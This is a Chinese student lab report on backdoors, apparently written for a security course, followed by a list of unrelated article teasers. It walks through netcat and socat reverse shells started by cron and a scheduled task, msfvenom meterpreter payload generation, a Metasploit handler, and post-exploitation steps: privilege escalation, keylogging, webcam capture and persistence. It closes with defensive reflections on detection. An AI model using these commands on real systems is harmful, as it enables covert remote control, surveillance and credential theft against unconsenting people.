后门原理与实践
实验目录
- windows主机与kali虚拟机实现互联互通
- 使用netcat获取主机操作Shell，cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权
- 可选加分内容：使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell，加分内容一并写入本实验报告
实验准备
- 后门：后门程序就是留在计算机系统中，供某位特殊使用者通过某种特殊方式控制计算机系统的途径。后门包括从简单到奇特，有很多的类型。简单的后门可能只是建立一个新的账号，或者接管一个很少使用的账号;复杂的后门(包括木马)可能会绕过系统的安全认证而对系统有安全存取权。例如一个login程序，当你输入特定的密码时，你就能以管理员的权限来存取系统。
- 工具储备：
- meterpreter
- netcat（linux，一般自带）
- ncat(windows)
- socat
- cron：
- cron是一个linux下 的定时执行工具 ，可以在无需人工干预的情况下运行作业。
crontab -u //设定某个用户的cron服务，一般root 用户在执行 这个命令的时候需要此参数crontab -l //列出某个用户cron服务的详细内容crontab -r //删除 没个用户的cron服务crontab -e //编辑某个用户的cron服务
实验过程
windows主机与kali虚拟机实现互联互通
-
首先在win主机上下载ncat软件，并为其配置好环境变量，用于在cmd的使用
-
打开虚拟机，输入指令
ifconfig，查看其IP地址，并ping一下win主机，观察是否能ping通- 在本实验中，
win_IP：172.30.6.85，linux_ip：192.169.18.128
- 在本实验中，
-
上述几步是必要准备步骤，该项任务较为简单，不做过多赘述，接下来只需在一个系统开启监听端口，在另一台虚拟机开启请求连接即可
-
windows开启监听端口：
-
-
kali发起连接请求：
-
使用netcat获取主机操作Shell，cron启动
Windows获得Linux的Shell
-
在windows上打开cmd，并通过ncat开放端口5221
-
在linux上反弹连接win：
nc 169.254.1.65 5221 -e /bin/sh -
-
当然除此ls命令，还可以使用mkdir、cp等常用命令
-
使用cron开启Linux定时连接：
-
crontab指令增加一条定时任务，
-e表示编辑，接下来会进入编辑状态，在最后一行参照之前的格式加入一条自动执行netcat的指令即可，如下图 -
-
设定57分时自动开启，所以当主机时间到了57分时，就可以获取kali的shell了
-
-
使用任务计划程序开启Windows定时连接：
-
在
控制面板->管理工具->任务计划程序中添加任务 -
在“操作”中新建一个操作，写入参数：
-e cmd.exe 192.168.6.85 5221 -
-
然后可根据需要设置条件即可。
Linux获得Windows的Shell
- 同上述操作，在linux下设置监听端口：
nc -l -p 5221 - 在windows下请求连接：
ncat 192.168.18.128 5221 -e cmd.exe - 在linux下输入
ipconfig查看主机IP： -
使用socat获取主机操作Shell, 任务计划启动
- 下载安装socat软件，下载地址
- 为其配置环境变量
- 在windows上开放
5221端口，并把cmd的stderr重定向到stdoutsocat tcp-listen:5221 exec:cmd,pty,stderr
- 在linux开启监听：
socat - tcp:172.30.6.85:5221 - 如下图，可以发现成功连接到kali虚拟机：
-
使用MSF meterpreter生成可执行文件
-
通过meterpreter生成后门程序：
20145221.exe- linux下输入指令：
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=80 -f exe > 20145221.exe -
- linux下输入指令：
-
接下来需要将这个后门程序传到我们的靶机上，可以通过ncat来实现
-
首先我在win的cmd下使用
ncat.exe -lv 443 > 20145221.exe命令在443号端口进行监听 -
然后在Linux下使用
ncat -nv 172.20.10.2 443 < 20145221.exe命令把文件传送过去 -
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权
-
MSF打开监听进程
msfconsole：进入msfuse exploit/multi/handler：进入handler模式set payload windows/meterpreter/reverse_tcp：设置payloadshow options：查看当前信息状态set LHOST 192.168.18.128：设置LHOSTset LPORT 80：设置LPORTexploit：MSF开始监听
-
-
在windows下打开运行
20145221.exe木马程序，此时杀毒软件可能会报毒，点击找回文件并添加到信任区即可，然后就可以在linux攻击机上取得靶机的shell了 -
-
通过
help查看可以使用的指令： -
-
通过
screenshot进行屏幕截图： -
-
通过
getsystem提权： -
-
通过
keyscan_start和keyscan_dump来记录靶机的键盘输入： -
-
通过
webcam_snap捕捉键盘记录 -
-
通过
run metsvc为主机安装一些系统服务 -
可选加分内容：使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell，加分内容一并写入本实验报告
- loading。。。
实验思考
例举你能想到的一个后门进入到你系统中的可能方式？
- 有时候我们需要下载一些工具软件，在网络中搜索时，往往靠前的匹配项不是官方提供的链接，当我们通过这样的第三方平台下载的软件，就很有可能通过我们的主动点击下载安装到自己的主机上，使自己的电脑感染木马病毒。
例举你知道的后门如何启动起来(win及linux)的方式？
- win：首先后门可能作为一个exe文件藏在我们的主机下，然后可以通过诱导用户主动点击、修改注册表、添加到开机自启动项、或者和我们常用的软件绑定在一起同时启动，具有很高的隐蔽性。
- linux：linux中可以通过crontab功能将木马设为定时启动，也可以通过对正常软件的绑定注入shellcode达到开启后门的目的。
Meterpreter有哪些给你映像深刻的功能？
- Meterpreter功能强大，一旦可以控制靶机，就可以实现许多功能，这些功能在本次实践中看似有趣，但是在现实生活中，却对我们的隐私和安全都是一大威胁。
- 比如，当我们在登录QQ时，如果木马已经启动，就可以监测我们键盘录入，窃取QQ密码；又比如，一些不法分子可以通过盗取主机权限入侵摄像头，对自身与家庭的隐私会有极大伤害。
如何发现自己有系统有没有被安装后门？
- 首先，我们可以通过计算机的入侵检测系统以及防火墙，对系统的行为有一个全面的检测，在一定程度上可以避免被装后门；
- 其次，可以通过杀毒防护软件对计算机进行保护，检查是否有后门，定期更新病毒库，养成查杀电脑的好习惯；
- 最后，我们可以手动查看任务计划程序、开机自启动项中查找有关可疑程序。
相关文章：
后门原理与实践
实验目录 windows主机与kali虚拟机实现互联互通使用netcat获取主机操作Shell，cron启动使用socat获取主机操作Shell, 任务计划启动使用MSF meterpreter生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell使用MSF meterpreter生成获取目标主机…...
代理模式详解与应用
代理模式（Proxy Pattern），也称为委托模式或 surrogate 模式，是一种结构型设计模式。它为其他对象提供一个代理以控制对这个对象的访问。通过引入代理对象，可以在不改变原始对象接口的前提下，添加额外的功能…...
C#，动态规划问题中基于单词搜索树（Trie Tree）的单词断句分词（ Word Breaker）算法与源代码
1 分词 分词是自然语言处理的基础，分词准确度直接决定了后面的词性标注、句法分析、词向量以及文本分析的质量。英文语句使用空格将单词进行分隔，除了某些特定词，如how many，New York等外，大部分情况下不需要考虑分词…...
基于单片机的智能家居排气扇系统设计
1系统方案设计 本设计基于单片机的智能家居排气扇系统采用STM32单片机作为主控制器，通过DHT11温湿传感器和MQ-2烟雾传感器实现温度、湿度、烟雾检测，在自动模式下，可以根据烟雾浓度通过PWM调速的方式自动调节排气扇的速度，而在手…...
基于JAVA+SpringBoot+Vue的二手车交易系统
基于JAVASpringBootVue的二手车交易系统 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末附源码下载链接🍅 哈喽…...
【JVM-2.2】使用JConsole监控和管理Java应用程序：从入门到精通
在Java应用程序的开发和运维过程中，监控和管理应用程序的性能和资源使用情况是非常重要的。JConsole是Java Development Kit（JDK）自带的一款图形化监控工具，它可以帮助开发者实时监控Java应用程序的内存、线程、类加载以及垃圾回收…...
windows及linux 安装 Yarn 4.x 版本
1. 确保系统环境准备 a. 安装 Node.js Yarn 依赖于 Node.js，所以需要先安装 Node.js。前往 Node.js 官网 下载并安装适合你的 Windows 版本的 Node.js（推荐 LTS 版本）。安装完成后，打开命令提示符（CMD）或 PowerShell，验证安装：node -v npm -v如果显示版本号，则表示安…...
VS2015 + OpenCV + OnnxRuntime-Cpp + YOLOv8 部署
近期有个工作需求是进行 YOLOv8 模型的 C 部署，部署环境如下 系统：WindowsIDE：VS2015语言：COpenCV 4.5.0OnnxRuntime 1.15.1 0. 预训练模型保存为 .onnx 格式 假设已经有使用 ultralytics 库训练并保存为 .pt 格式的 YOLOv8 模型…...
1.两数之和--力扣
给定一个整数数组 nums 和一个整数目标值 target，请你在该数组中找出 和为目标值 target 的那 两个 整数，并返回它们的数组下标。 你可以假设每种输入只会对应一个答案，并且你不能使用两次相同的元素。 你可以按任意顺序返回答案。 示例 1…...
MySQL库表的操作
目录 一、库的操作 1.1库的创建 1.2字符集和校验规则 1.2.1 查看系统默认字符集以及校验规则 1.2.2 查看数据库支持的字符集 1.2.3 查看数据库支持的字符集校验规则 1.2.4 校验规则对数据库的影响 1.3操纵数据库 1.3.1显示库 1.3.2显示创建语句 1.3.3修改数据库 1.3…...
详解（附代码）)
【强化学习】深度确定性策略梯度算法(DDPG)详解（附代码）
📢本篇文章是博主强化学习（RL）领域学习时，用于个人学习、研究或者欣赏使用，并基于博主对相关等领域的一些理解而记录的学习摘录和笔记，若有不当和侵权之处，指出后将会立即改正，还望谅…...
单片机实物成品-011 火灾监测
火灾监测（20个版本） 版本20： oled显示温湿度烟雾浓度火焰传感器天然气浓度窗户风扇水泵排气系统声光报警语音播报按键WIFI模块 ----------------------------------------------------------------------------- https://www.bilibili.com…...
牛客网刷题 ——C语言初阶（6指针）——BC106 上三角矩阵判定
1. 题目描述——BC106 上三角矩阵判定 牛客网OJ题链接 描述 KiKi想知道一个n阶方矩是否为上三角矩阵，请帮他编程判定。上三角矩阵即主对角线以下的元素都为0的矩阵，主对角线为从矩阵的左上角至右下角的连线。 示例 输入： 3 1 2 3 0 4 5 0 0…...
Mysql--重点篇--索引（索引分类，Hash和B-tree索引，聚簇和非聚簇索引，回表查询，覆盖索引，索引工作原理，索引失效，索引创建原则等）
索引是数据库中用于加速查询操作的重要机制。通过索引，MySQL可以快速定位到满足查询条件的数据行，而不需要扫描整个表。合理的索引设计可以显著提高查询性能，但不合理的索引可能会导致性能下降和磁盘空间浪费。因此，理解索引的工作…...
Vue3框架核心功能点响应式数据reactive、组合式API setup、computed、组件通信、路由导航，状态管理vuex、pinia等的实战示例代码
记录几个Vue3框架核心功能点，例如响应式数据reactive、组合式API setup、computed、组件通信、路由导航，状态管理vuex、pinia……等实战示例代码： 一、响应式数据（Reactive Data） 创建响应式对象 使用reactive函数创建…...
Gitlab-Runner配置
原理 Gitlab-Runner是一个非常强大的CI/CD工具。它可以帮助我们自动化执行各种任务，如构建、测试和部署等。Gitlab-Runner和Gitlab通过API通信，接收作业并提交到执行队列，Gitlab-Runner从队列中获取作业，并允许在不同环境下进行作…...
多台PC共用同一套鼠标键盘
当环境中有多个桌面 pc 需要操作的时候，在 多台 pc 之间切换会造成很多的不方便 可以通过远程进行连接，但是有一个更好的方案是让多台机器之间共用同一套键盘鼠标 常用的解决方案 synergy 和 sharemouse，通过移动光标在不同的 pc 间切换 s…...
)
学会使用computed计算属性与watch监听(小白学习笔记)
1. 使用不同方法实现 姓名案例 需求: 根据data中 firstName 和 lastName 的值 来动态地展示全名 1.1. 插值语法 如果只使用学过的插值语法 那可以在模板中直接使用两个变量 . 但是如果需要对数据进行计算等处理 就需要在插值语法里写复杂的js表达式. 这样就违背了vue风格指…...
atoi函数的概念和使用案例
atoi 函数是 C 语言标准库中的一个函数，它用于将字符串转换为整数。atoi 的名称是 “ASCII to integer” 的缩写。该函数定义在 <stdlib.h> 头文件中。 概念 atoi 函数会从字符串的开始位置开始转换，直到遇到第一个非数字字符或遇到字符串结束符…...
unittest VS pytest
以下是 unittest 和 pytest 框架的对比表格： 特性unittestpytest设计理念基于类的设计，类似于 Java 的 JUnit更简洁，基于函数式编程设计，支持类和函数两种方式测试编写需要继承 unittest.TestCase 类，方法以 test_ 开…...
B2C API安全警示：爬虫之外，潜藏更大风险挑战
在数字化时代，B2C（Business-to-Consumer）电子商务模式已成为企业连接消费者、推动业务增长的重要桥梁。而B2C API（应用程序编程接口）作为企业与消费者之间数据交互的桥梁，其安全性更是至关重要。然而&#…...
大型语言模型（LLM）中的tokens是什么
大型语言模型（LLM）中的tokens是什么 在大型语言模型（LLM）中，tokens是文本处理的基本单位，它可以是一个单词、一个字符、一个标点符号，或者是一个特殊的标记。以下是关于tokens的详细介绍及举例： 一、tokens的定义和作用 定义：tokens是将文本分割成的一个个有意义的…...
自动驾驶---E2E架构演进
1 背景 模型最早应用的自动驾驶模块就是感知层面，随着技术的发展，逐渐开始应用到决策规划等其它模块。端到端自动驾驶架构是一种基于深层神经网络模型和方法的自动驾驶技术模式。目前一段式端到端系统只有在英伟达早期所做的demo中实现，再者就…...
w~自动驾驶~合集16
我自己的原文哦~ https://blog.51cto.com/whaosoft/12765612 #SIMPL 用于自动驾驶的简单高效的多智能体运动预测基准 原标题：SIMPL: A Simple and Efficient Multi-agent Motion Prediction Baseline for Autonomous Driving 论文链接：https://ar…...
函数倾斜拉伸图像)
python学opencv|读取图像（三十）使用cv2.getAffineTransform()函数倾斜拉伸图像
【1】引言 前序已经学习了如何平移和旋转缩放图像，相关文章链接为： python学opencv|读取图像（二十七）使用cv2.warpAffine（）函数平移图像-CSDN博客 python学opencv|读取图像（二十八࿰…...
Java异常处理
1.异常是程序运行过程中出现的非正常现象，例如输入错误、需要处理的文件不存在，在网络上传输数据但是网络没有连接等2.在java中我们把异常分为：错误（Error）和异常（Exception）Exception类有自己的…...
STM32-DMA数据转运
注：DMA对应的库函数文件讲解 DMA_GetITStatus(uint32_t DMAy_IT) 是一个用于检查DMA（直接存储器访问）中断状态的库函数。它通常在使用STM32系列微控制器及其标准外设库时被调用。此函数的主要作用是返回指定DMA通道的特定中断标志的状态&…...
ASP.NET Core 实现微服务 - Elastic APM
这次要给大家介绍的是Elastic APM ，一款应用程序性能监控组件。APM 监控围绕对应用、服务、容器的健康监控，对接口的调用链、性能进行监控。在我们实施微服务后，由于复杂的业务逻辑，服务之间的调用会像蜘蛛网一样复杂。有了调用链…...
Stable Diffusion本地部署教程（附安装包）
想使用Stable Diffusion需要的环境有哪些呢？ python3.10.11（至少也得3.10.6以上）：依赖python环境NVIDIA：GPUgit：从github上下载包（可选，由于我已提供安装包，你可以不用git）Stable Diffusion安装包工具包： NVIDIA：https://developer.nvidia.com/cuda-toolkit-archiv…...
图片和短信验证码（头条项目-06）
1 图形验证码接口设计 将后端⽣成的图⽚验证码存储在redis数据库2号库。 结构： {img_uuid:0594} 1.1 创建验证码⼦应⽤ $ cd apps $ python ../../manage.py startapp verifications # 注册新应⽤ INSTALLED_APPS [django.contrib.admin,django.contrib.auth,…...
天气app的收获
天气app的收获 无论如何，是基于MVC模式，但都是从UI页面开始设计，然后根据输入的城市名称，将其传入到model层，进行相对应的处理。 对于controler层，需要通过一些协议完成一些输入的反馈，例如输…...
软件自动定时启动器
点击添加软件，可以添加可执行文件软件，设置启动的时间，也可以设置关闭的时间 注意，时间为00：00：00 等于没设置，这个时间不在设置范围，其他任何时间都可以 1.1更新 1：修复…...
k8s部署rocketmq踩坑笔记
给团队部署一个rocketmq4.8.0. k8s上部署的broker，注册到nameserver上是自己的pod ip，导致本机连接到的broker的pod ip，这个ip k8s集群外的机器是无法联通的。 nameserver上注册的是这个pod ipv4 尝试将broker的配置brokerIP1修改为注册到na…...
从项目代码看 React：State 和 Props 的区别及应用场景实例讲解
在 React 中，state 和 props 是组件的两个重要概念，它们有不同的作用和应用场景。理解它们之间的区别对于开发 React 应用至关重要。 1. state 和 props 的区别 props (属性)： props 是由父组件传递给子组件的数据或函数。props 是只读的&am…...
深度学习中的优化算法
深度学习中的优化算法，是模型训练期间微调神经网络参数的关键元素。其主要作用是最小化模型的误差或损失，从而提高性能。各种优化算法(称为优化器)采用不同的策略来收敛到最佳参数值，从而有效地提高预测效果。 在深度学习的背景下，…...
python3GUI--大屏可视化-传染病督导平台 By:PyQt5
文章目录 一．前言二．预览三．软件组成&开发心得1.样式&使用方法2.左侧表格实现3.设计4.学习5.体验效果 四．代码分享1.环形渐变进度组件2.自定义图片的背景组件 五．总结 大小：60.9 M，软件…...
设计模式——单例模式
单例模式 实现单例模式的方法前置条件懒汉式（Lazy Initialization）饿汉式（Eager Initialization）双重锁式（Double-Checked Locking）静态内部类式（Static Inner Class）枚举式…...
【01】AE特效开发制作特技-Adobe After Effects-AE特效制作快速入门-制作飞机，子弹，爆炸特效以及导出png序列图-优雅草央千澈
【01】AE特效开发制作特技-Adobe After Effects-AE特效制作快速入门-制作飞机，子弹，爆炸特效以及导出png序列图-优雅草央千澈 开发背景 优雅草央千澈所有的合集，系列文章可能是不太适合完全初学者的，因为课程不会非常细致的系统…...
docker一键安装脚本（docker安装）
第一种方法一键安装命令 curl -O --url http://luyuanbo79.south.takin.cc/wenjian/docker_install.sh && chmod x docker_install.sh && ./docker_install.sh 备用方法 curl -O --url https://file.gitcode.com/4555247/releases/untagger_0896d4789937405…...
Python的Matplotlib库应用（超详细教程）
目录 一、环境搭建 1.1 配置matplotlib库 1.2 配置seaborn库 1.3 配置Skimage库 二、二维图像 2.1 曲线（直线）可视化 2.2 曲线（虚线）可视化 2.3 直方图 2.4 阶梯图 三、三维图像 3.1 3D曲面图 3.2 3D散点图 3.3 3D散…...
VS Code的设置功能以及多层级的设置方式与解密
VS Code的Settings功能为用户提供了极大的灵活性和便利性，使得用户可以根据自己的需求和偏好来定制编辑器的行为和外观。 Settings 可以实现的具体功能 VS Code的设置项非常丰富，涵盖了各个方面，包括但不限于： 编辑器选项&…...
怎么理解编码器与解码器？
编码器和解码器是在信息处理、通信、多媒体等众多领域中广泛应用的两个概念，它们的作用相反但又紧密相关。下面从多个角度来帮助你理解这两个概念： 定义 编码器：编码器是一种将输入信息（如模拟信号、文本、图像、声音等…...
关于智能个人生活助手的一些想法
我感觉未来计算机发展 会变成钢铁侠的贾维斯那样, 每个人有自己的系统 集成ai和其他功能 助力生活和工作 说一下我为什么有这样的想法: 1.ai发展迅猛: 近些年来ai的发展势头越来越猛,不断破圈,越来越多的人了解到ai的强大,并使用ai改变了自己原有的生活或工作方式,熟练使用…...
FFmpeg音视频流媒体，视频编解码性能优化
你是不是也有过这样一个疑问：视频如何从一个简单的文件变成你手机上快速播放的短片，或者是那种占满大屏幕的超高清大片？它背后的法宝，离不开一个神奇的工具——FFmpeg！说它强大，完全不为过，它在…...
页面滚动下拉时,元素变为fixed浮动,上拉到顶部时恢复原状,js代码以视频示例
页面滚动下拉时,元素变为fixed浮动js代码 以视频示例 <style>video{width:100%;height:auto}.div2,#float1{position:fixed;_position:absolute;top:45px;right:0; z-index:250;}button{float:right;display:block;margin:5px} </style><section id"abou…...
Python玩转视频剪辑 - Opencv、Moviepy（附完整案例）
1. 准备工作 1.1 安装Opencv-python、Moviepy pip install opencv-python pip install moviepy 1.2 视频剪辑目标 如图，作者从b站下载了两个视频(仅做代码测试用，不作转载等任何商业用途)，一个是刘初寻的疏远（以下简称视频一&a…...
Pulsar客户端如何控制内存使用
Pulsar客户端如何控制内存使用 一、使用场景 在实际应用中，Pulsar客户端的内存使用控制是一个重要的性能优化点。假设有一个搜索类业务需要记录用户搜索请求，以便后续分析搜索热点和优化搜索效果。以下是一个简化的代码示例： PulsarClient…...
接口测试总结（http与rpc）
🍅 点击文末小卡片，免费获取软件测试全套资料，资料在手，涨薪更快 接口测试是测试系统组件间接口的一种测试。接口测试主要用于检测外部系统与系统之间以及内部各个子系统之间的交互点。测试的重点是要检查数据的交换，传…...
Linux：进程概念（二.查看进程、父进程与子进程、进程状态详解）
目录 1. 查看进程 1.1 准备工作 1.2 指令：ps—显示当前系统中运行的进程信息 1.3 查看进程属性 1.4 通过 /proc 系统文件夹看进程 2. 父进程与子进程 2.1 介绍 2.2 getpid() \getppid() 2.3 fork()函数—通过系统调用创建进程 fork()函数疑问 3. 进程状态…...
ubuntu22.04 编译安装libvirt 10.x
环境安装 sudo apt-get update -y sudo apt-get install qemu-system-x86 bridge-utils libyajl-dev -y sudo apt-get install build-essential autoconf automake libtool -y sudo apt-get install libxml2-dev libxslt1-dev libgnutls28-dev libpciaccess-dev libnl-3-de…...